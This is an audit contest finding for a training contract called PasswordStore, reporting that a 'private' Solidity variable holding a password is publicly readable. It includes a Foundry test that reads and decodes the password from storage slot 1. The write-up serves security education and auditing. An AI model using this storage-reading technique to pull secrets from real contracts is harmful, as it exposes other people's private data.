First Flight #1: PasswordStore
First Flight #1
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Since all on-chain data is public, anyone can see what the current password is

zxarcs

Summary

All on-chain data is public and visible to anyone. Critical data (e.g. passwords) should not be stored on-chain.

Vulnerability Details

s_password state variable is marked as private but this does not prevent anyone from seeing what its value is because all on-chain data is public and visible to anyone.

Impact

Anyone can see the current password.

function test_non_owner_can_view_password() public {
// owner sets a new password
string memory newPassword = "1Nice#pwd";
bytes32 newPasswordBytes32 = bytes32(abi.encodePacked(newPassword));
vm.prank(address(owner));
passwordStore.setPassword(newPassword);
​
// non-owner can see what the new password is
vm.prank(address(1));
bytes32 data = vm.load(address(passwordStore), bytes32(uint256(1)));
// strings shorter than 31 bytes include string length data,
// remove it so it doesn't interfere when we cast to string to see
// the password, otherwise the password could have extra characters
// and therefore be wrong.
​
// this simple example is not setup to handle passwords with 32 characters
// or greater because they are stored differently in the contract's
// storage slots.
bytes31 cutData = bytes31(abi.encodePacked(data));
bytes32 dataWithoutLength = bytes32(abi.encodePacked(cutData, new bytes(1)));
console.log(string(abi.encodePacked(dataWithoutLength))); // password from storage slot
assertEq(newPasswordBytes32, dataWithoutLength);
assertEq(string(abi.encodePacked(newPasswordBytes32)), string(abi.encodePacked(dataWithoutLength)));
}

Tools Used

  • Foundry

  • Manual audit

Recommendations

Passwords and other critical data should never be saved on-chain. This is not a good use case for blockchain since all data is publicly visible. Recommendation is to store passwords in a different manner, such as a password manager software.

Updates

Lead Judging Commences

inallhonesty Lead Judge
almost 2 years ago
inallhonesty Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-anyone-can-read-storage

Private functions and state variables are only visible for the contract they are defined in and not in derived contracts. In this case private doesn't mean secret/confidential

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.